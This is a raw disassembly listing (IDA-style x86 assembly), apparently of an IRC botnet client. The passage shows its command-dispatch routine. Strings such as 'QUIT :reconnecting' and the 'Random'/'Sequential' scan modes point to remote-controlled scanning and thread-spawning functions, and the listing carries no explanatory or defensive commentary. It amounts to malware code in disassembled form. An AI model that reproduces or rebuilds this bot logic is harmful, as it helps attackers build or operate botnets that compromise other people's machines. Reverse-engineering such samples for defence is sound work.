; ---------------------------------------------------------------------------
loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_431408[ecx]
mov [ebp+var_74C], ecx
loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j
; sub_401ACD+1DEEj
cmp [ebp+var_74C], ebx
jz loc_403AE0
push 10h
lea eax, [ebp+var_2D4]
pop edi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], edi
push [ebp+arg_4]
call dword_4CAF18
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CB000
push eax
lea eax, [ebp+var_860]
push eax
call sub_41B5F0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_860]
push eax
call sub_41BE40
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40397F
loc_40395D: ; CODE XREF: sub_401ACD+1EB0j
cmp eax, ebx
jz short loc_40397F
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41BE40
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40395D
loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej
; sub_401ACD+1E92j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_750], eax
mov eax, [ebp+var_4]
mov [ebp+var_728], eax
mov eax, [ebp+var_8]
mov [ebp+var_724], eax
mov edi, 80h
lea eax, [ebp+var_850]
push edi
push eax
mov [ebp+var_720], 1
call sub_41B980
push offset dword_43D128
push esi
call sub_41C070
add esp, 14h
test eax, eax
jz short loc_4039E1
push esi
lea eax, [ebp+var_7D0]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_4039E7
; ---------------------------------------------------------------------------
loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj
mov [ebp+var_7D0], bl
loc_4039E7: ; CODE XREF: sub_401ACD+1F12j
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039F9
mov eax, offset aSequential ; "Sequential"
loc_4039F9: ; CODE XREF: sub_401ACD+1F25j
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF24
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset loc_40C33C
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_403A83
loc_403A71: ; CODE XREF: sub_401ACD+1FB4j
cmp [ebp+var_71C], ebx
jnz short loc_403A9E
push 32h
nop
call near ptr 2650E43h
jmp short loc_403A71
; ---------------------------------------------------------------------------
loc_403A83: ; CODE XREF: sub_401ACD+1FA2j
call near ptr 2660A00h
nop
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BEE8
push eax
call sub_41B886
add esp, 0Ch
loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj
cmp [ebp+var_8], ebx
jnz short loc_403ABF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
pop ecx
loc_403ACC: ; CODE XREF: sub_401ACD+1D94j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_403817
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_403AE0: ; CODE XREF: sub_401ACD+1E10j
push offset unk_42BEB0
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_403AEA: ; CODE XREF: sub_401ACD+1B65j
; sub_401ACD+1B7Aj
push 5
call sub_40B33E
test eax, eax
pop ecx
jle short loc_403B00
push offset unk_42BE90
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_403B00: ; CODE XREF: sub_401ACD+2027j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403B23
push eax
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_403B37
; ---------------------------------------------------------------------------
loc_403B23: ; CODE XREF: sub_401ACD+203Cj
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
push ebx
nop
call near ptr 2650000h
loc_403B37: ; CODE XREF: sub_401ACD+2054j
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403B47
mov esi, offset byte_429108
loc_403B47: ; CODE XREF: sub_401ACD+2073j
push esi
lea eax, [ebp+var_2C4C]
push edi
push eax
call sub_41B980
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B40], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B44], ebx
mov [ebp+var_2D54], eax
lea eax, [ebp+var_2B3C]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2ABC], eax
mov eax, [ebp+var_8]
mov [ebp+var_2AB8], eax
lea eax, [ebp+var_2D50]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B40]
push offset unk_42BE5C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2B48], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D54]
push ebx
push eax
push offset word_411796
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_2B48]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_403C13
loc_403BFD: ; CODE XREF: sub_401ACD+2144j
cmp [ebp+var_2AB4], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2650E43h
jmp short loc_403BFD
; ---------------------------------------------------------------------------
loc_403C13: ; CODE XREF: sub_401ACD+212Ej
nop
call near ptr 2660A00h
push eax
push offset unk_42BE20
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj
; sub_401ACD+1B50j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403C43
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_403C43
push edi
call sub_41B779
pop ecx
jmp short loc_403C48
; ---------------------------------------------------------------------------
loc_403C43: ; CODE XREF: sub_401ACD+2160j
; sub_401ACD+216Bj
mov eax, dword_42907C
loc_403C48: ; CODE XREF: sub_401ACD+2174j
mov esi, [ebp+esi+var_88]
mov [ebp+var_36C8], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B4], eax
jz short loc_403C7B
lea eax, [ebp+var_37CC]
push esi
push eax
call sub_41B886
pop ecx
pop ecx
jmp short loc_403CA6
; ---------------------------------------------------------------------------
loc_403C7B: ; CODE XREF: sub_401ACD+219Bj
lea eax, [ebp+var_4FF4]
push 104h
push eax
nop
call near ptr 26509B6h
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_4FF4]
push eax
call sub_41B9D1
add esp, 14h
loc_403CA6: ; CODE XREF: sub_401ACD+21ACj
lea eax, [ebp+var_37CC]
push eax
call sub_41AFE0
cmp [ebp+eax+var_37CD], 5Ch
pop ecx
jnz short loc_403CD1
lea eax, [ebp+var_37CC]
push eax
call sub_41AFE0
pop ecx
mov [ebp+eax+var_37CD], bl
loc_403CD1: ; CODE XREF: sub_401ACD+21EEj
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A54]
mov [ebp+var_3A58], esi
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36B8], eax
lea eax, [ebp+var_37CC]
mov [ebp+var_36BC], edi
push eax
push [ebp+var_36C8]
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BDE4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_36C0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A58]
push ebx
push eax
push offset sub_40F0D5
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_36C0]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_403D85
loc_403D73: ; CODE XREF: sub_401ACD+22B6j
cmp [ebp+var_36AC], ebx
jnz short loc_403DA0
push 32h
nop
call near ptr 2650E43h
jmp short loc_403D73
; ---------------------------------------------------------------------------
loc_403D85: ; CODE XREF: sub_401ACD+22A4j
nop
call near ptr 2660A00h
push eax
push offset unk_42BDA8
loc_403D91: ; CODE XREF: sub_401ACD+2419j
; sub_401ACD+4D04j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_403DA0: ; CODE XREF: sub_401ACD+22ACj
; sub_401ACD+23FDj ...
cmp [ebp+var_8], ebx
jnz loc_4083BC
push ebx
push edi
jmp loc_407285
; ---------------------------------------------------------------------------
loc_403DB0: ; CODE XREF: sub_401ACD+1B11j
; sub_401ACD+1B26j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403DCF
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_403DCF
push edi
call sub_41B779
pop ecx
jmp short loc_403DD4
; ---------------------------------------------------------------------------
loc_403DCF: ; CODE XREF: sub_401ACD+22ECj
; sub_401ACD+22F7j
mov eax, dword_429080
loc_403DD4: ; CODE XREF: sub_401ACD+2300j
mov [ebp+var_1824], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403DEB
lea eax, [ebp+var_C4]
loc_403DEB: ; CODE XREF: sub_401ACD+2316j
push eax
lea eax, [ebp+var_1964]
push 40h
push eax
call sub_41B980
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403E0D
mov esi, offset dword_43D128
loc_403E0D: ; CODE XREF: sub_401ACD+2339j
push esi
lea eax, [ebp+var_1924]
push 100h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_19E4]
push [ebp+var_88]
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1810], eax
lea eax, [ebp+var_1964]
push eax
mov [ebp+var_19E8], esi
push [ebp+var_1824]
mov [ebp+var_1814], edi
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BD6C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_1820], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19E8]
push ebx
push eax
push offset byte_410A4D
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_1820]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_403EDA
loc_403EC4: ; CODE XREF: sub_401ACD+240Bj
cmp [ebp+var_180C], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 2650E43h
jmp short loc_403EC4
; ---------------------------------------------------------------------------
loc_403EDA: ; CODE XREF: sub_401ACD+23F5j
nop
call near ptr 2660A00h
push eax
push offset unk_42BD30
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j
; sub_401ACD+1AFCj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EFE
push esi
call sub_41B779
jmp short loc_403F05
; ---------------------------------------------------------------------------
loc_403EFE: ; CODE XREF: sub_401ACD+2427j
push 0Bh
call sub_40B35D
loc_403F05: ; CODE XREF: sub_401ACD+242Fj
cmp eax, ebx
pop ecx
jz loc_409854
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA56
jmp loc_4043B9
; ---------------------------------------------------------------------------
loc_403F25: ; CODE XREF: sub_401ACD+1ABDj
; sub_401ACD+1AD2j
mov eax, dword_4CAE90
cmp eax, ebx
jz short loc_403F42
call eax
test eax, eax
jz short loc_403F3B
push offset unk_42BD0C
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F3B: ; CODE XREF: sub_401ACD+2465j
push offset unk_42BCE0
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F42: ; CODE XREF: sub_401ACD+245Fj
push offset unk_42BCB4
loc_403F47: ; CODE XREF: sub_401ACD+246Cj
; sub_401ACD+2473j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
jmp loc_406CDB
; ---------------------------------------------------------------------------
loc_403F5D: ; CODE XREF: sub_401ACD+1A93j
; sub_401ACD+1AA8j
call sub_40AB31
test eax, eax
jz short loc_403F6D
push offset unk_42BC90
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F6D: ; CODE XREF: sub_401ACD+2497j
push offset unk_42BC64
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F74: ; CODE XREF: sub_401ACD+1A69j
; sub_401ACD+1A7Ej
cmp [ebp+var_8], ebx
jnz short loc_403F93
push ebx
push [ebp+var_4]
push offset dword_42BC4C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_403F93: ; CODE XREF: sub_401ACD+24AAj
push ebx
push [ebp+var_4]
call sub_4181D6
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push offset dword_42BC30
jmp loc_404285
; ---------------------------------------------------------------------------
loc_403FB5: ; CODE XREF: sub_401ACD+18F9j
; sub_401ACD+190Ej
push 0Ah
call sub_40B33E
test eax, eax
pop ecx
jle short loc_403FCB
push offset unk_42BC04
jmp loc_409601
; ---------------------------------------------------------------------------
loc_403FCB: ; CODE XREF: sub_401ACD+24F2j
push [ebp+var_88]
push [ebp+arg_4]
call sub_419C64
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403FEA
push offset unk_42BBDC
jmp loc_409601
; ---------------------------------------------------------------------------
loc_403FEA: ; CODE XREF: sub_401ACD+2511j
push offset unk_42BBBC
jmp loc_409601
; ---------------------------------------------------------------------------
loc_403FF4: ; CODE XREF: sub_401ACD+18CFj
; sub_401ACD+18E4j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A7CE
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40400D: ; CODE XREF: sub_401ACD+18A5j
; sub_401ACD+18BAj
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416C28
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40402A: ; CODE XREF: sub_401ACD+187Bj
; sub_401ACD+1890j
or edi, 0FFFFFFFFh
nop
call near ptr 267098Eh
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_404053
push esi
call sub_41B779
pop ecx
mov edi, eax
loc_404053: ; CODE XREF: sub_401ACD+257Bj
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_40406C
cmp edi, 0FFFFFFFFh
jnz loc_409854
loc_40406C: ; CODE XREF: sub_401ACD+2594j
push ebx
call sub_41A88B
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BBA4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
loc_4040AA: ; CODE XREF: sub_401ACD+529Cj
add esp, 24h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_4040B2: ; CODE XREF: sub_401ACD+1851j
; sub_401ACD+1866j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415A2F
add esp, 0Ch
push offset dword_42BB84
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_4040D0: ; CODE XREF: sub_401ACD+1827j
; sub_401ACD+183Cj
push 27h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_404104
cmp [ebp+var_8], ebx
jnz loc_401E94
push ebx
push [ebp+var_4]
push offset unk_42BB64
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
loc_4040FC: ; CODE XREF: sub_401ACD+7237j
add esp, 14h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_404104: ; CODE XREF: sub_401ACD+260Dj
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_AA0], eax
mov [ebp+var_AA8], ebx
jz short loc_404165
push esi
push offset aFull ; "full"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404165
mov [ebp+var_AA8], 1
loc_404165: ; CODE XREF: sub_401ACD+267Bj
; sub_401ACD+268Cj
lea eax, [ebp+var_2C4]
push offset dword_42BB40
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_4198EB
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4041D3
loc_4041BD: ; CODE XREF: sub_401ACD+2704j
cmp [ebp+var_A9C], ebx
jnz loc_409630
push 32h
nop
call near ptr 2650E43h
jmp short loc_4041BD
; ---------------------------------------------------------------------------
loc_4041D3: ; CODE XREF: sub_401ACD+26EEj
nop
call near ptr 2660A00h
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BB04
push eax
call sub_41B886
add esp, 0Ch
jmp loc_409630
; ---------------------------------------------------------------------------
loc_4041F3: ; CODE XREF: sub_401ACD+17FDj
; sub_401ACD+1812j
cmp [ebp+var_8], ebx
jnz short loc_404212
push ebx
push [ebp+var_4]
push offset dword_42BAE8
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_404212: ; CODE XREF: sub_401ACD+2729j
push [ebp+arg_4]
call dword_4CB00C
call dword_4CAECC
call sub_418359
push ebx
nop
call near ptr 77E75CB5h
loc_40422D: ; CODE XREF: sub_401ACD+17D3j
; sub_401ACD+17E8j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AA42
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push offset dword_42BACC
jmp short loc_404285
; ---------------------------------------------------------------------------
loc_404258: ; CODE XREF: sub_401ACD+17A9j
; sub_401ACD+17BEj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF6
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push offset dword_42BAB0
loc_404285: ; CODE XREF: sub_401ACD+24E3j
; sub_401ACD+2789j
call sub_4151AC
add esp, 18h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_404292: ; CODE XREF: sub_401ACD+177Fj
; sub_401ACD+1794j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41524C
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_4042AB: ; CODE XREF: sub_401ACD+1755j
; sub_401ACD+176Aj
cmp [ebp+var_C], ebx
mov [ebp+var_1594], bl
jz short loc_4042EA
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042EA
push esi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042EA
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_1594]
push 80h
push eax
call sub_41B980
add esp, 10h
loc_4042EA: ; CODE XREF: sub_401ACD+27E7j
; sub_401ACD+27F2j ...
push [ebp+var_88]
lea eax, [ebp+var_1614]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1618], eax
mov eax, [ebp+var_4]
mov [ebp+var_1510], eax
mov eax, [ebp+var_8]
mov [ebp+var_150C], eax
lea eax, [ebp+var_2C4]
push offset dword_42BA98
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_1514], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1618]
push ebx
push eax
push offset byte_41528D
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_1514]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40438D
loc_404377: ; CODE XREF: sub_401ACD+28BEj
cmp [ebp+var_1508], ebx
jnz loc_401E94
push 32h
nop
call near ptr 2650E43h
jmp short loc_404377
; ---------------------------------------------------------------------------
loc_40438D: ; CODE XREF: sub_401ACD+28A8j
nop
call near ptr 2660A00h
push eax
push offset unk_42BA60
jmp loc_402077
; ---------------------------------------------------------------------------
loc_40439E: ; CODE XREF: sub_401ACD+172Bj
; sub_401ACD+1740j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415134
push offset dword_42BA48
call sub_4151AC
loc_4043B9: ; CODE XREF: sub_401ACD+2453j
add esp, 10h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_4043C1: ; CODE XREF: sub_401ACD+1701j
; sub_401ACD+1716j
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
jz short loc_40441B
push offset dword_42BA44
push esi
call sub_41C070
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_B40], eax
jmp short loc_404421
; ---------------------------------------------------------------------------
loc_40441B: ; CODE XREF: sub_401ACD+2932j
mov [ebp+var_B40], ebx
loc_404421: ; CODE XREF: sub_401ACD+294Cj
lea eax, [ebp+var_2C4]
push offset dword_42BA24
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset byte_40B161
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40448F
loc_404479: ; CODE XREF: sub_401ACD+29C0j
cmp [ebp+var_B34], ebx
jnz loc_406CFF
push 32h
nop
call near ptr 2650E43h
jmp short loc_404479
; ---------------------------------------------------------------------------
loc_40448F: ; CODE XREF: sub_401ACD+29AAj
nop
call near ptr 2660A00h
push eax
push offset unk_42B9E8
jmp loc_409226
; ---------------------------------------------------------------------------
loc_4044A0: ; CODE XREF: sub_401ACD+1685j
; sub_401ACD+169Aj
push offset aDark ; "Dark"
push offset dword_42B9D0
loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
jmp loc_406CFF
; ---------------------------------------------------------------------------
loc_4044D7: ; CODE XREF: sub_401ACD+165Bj
; sub_401ACD+1670j
push dword_4CACB4
call sub_41A88B
pop ecx
push eax
push offset unk_42B9A4
jmp short loc_4044AA
; ---------------------------------------------------------------------------
loc_4044EB: ; CODE XREF: sub_401ACD+1631j
; sub_401ACD+1646j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40451D
cmp [ebp+var_C], ebx
jz short loc_40452C
push esi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40452C
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
jmp short loc_40452C
; ---------------------------------------------------------------------------
loc_40451D: ; CODE XREF: sub_401ACD+2A27j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409A2C
pop ecx
pop ecx
loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj
; sub_401ACD+2A3Bj ...
push 0FFFFFFFEh
jmp loc_401E96
; ---------------------------------------------------------------------------
loc_404533: ; CODE XREF: sub_401ACD+1607j
; sub_401ACD+161Cj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
push offset dword_42B954
call sub_4151AC
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_404555: ; CODE XREF: sub_401ACD+15DDj
; sub_401ACD+15F2j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
push offset dword_42B920
call sub_4151AC
add esp, 0Ch
jmp loc_4097B9
; ---------------------------------------------------------------------------
loc_404574: ; CODE XREF: sub_401ACD+15B3j
; sub_401ACD+15C8j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B7DA
jmp loc_404933
; ---------------------------------------------------------------------------
loc_40458A: ; CODE XREF: sub_401ACD+1589j
; sub_401ACD+159Ej
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B785
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4045A0: ; CODE XREF: sub_401ACD+155Fj
; sub_401ACD+1574j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B719
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4045B6: ; CODE XREF: sub_401ACD+1535j
; sub_401ACD+154Aj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B64A
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4045CC: ; CODE XREF: sub_401ACD+1490j
; sub_401ACD+14A5j
push [ebp+esi+var_8C]
push 27h
push offset dword_42B910
push offset dword_42B900
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_4045E4: ; CODE XREF: sub_401ACD+1466j
; sub_401ACD+147Bj
push [ebp+esi+var_8C]
push 24h
push offset dword_42B8F4
push offset dword_42B8E4
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_4045FC: ; CODE XREF: sub_401ACD+1082j
; sub_401ACD+1097j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_40461B
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_40461B
push edi
call sub_41B779
pop ecx
jmp short loc_404620
; ---------------------------------------------------------------------------
loc_40461B: ; CODE XREF: sub_401ACD+2B38j
; sub_401ACD+2B43j
mov eax, dword_429074
loc_404620: ; CODE XREF: sub_401ACD+2B4Cj
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404645
push esi
loc_404632: ; CODE XREF: sub_401ACD+2B87j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_40465C
; ---------------------------------------------------------------------------
loc_404645: ; CODE XREF: sub_401ACD+2B62j
cmp [ebp+var_8FF], bl
jz short loc_404656
lea eax, [ebp+var_C4]
push eax
jmp short loc_404632
; ---------------------------------------------------------------------------
loc_404656: ; CODE XREF: sub_401ACD+2B7Ej
mov [ebp+var_5A0], bl
loc_40465C: ; CODE XREF: sub_401ACD+2B76j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41B980
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B8BC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset byte_4111CD
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40470D
loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej
cmp [ebp+var_57C], ebx
jnz loc_401E94
push 32h
nop
call near ptr 2650E43h
jmp short loc_4046F7
; ---------------------------------------------------------------------------
loc_40470D: ; CODE XREF: sub_401ACD+2C28j
nop
call near ptr 2660A00h
push eax
push offset dword_42B880
jmp loc_402077
; ---------------------------------------------------------------------------
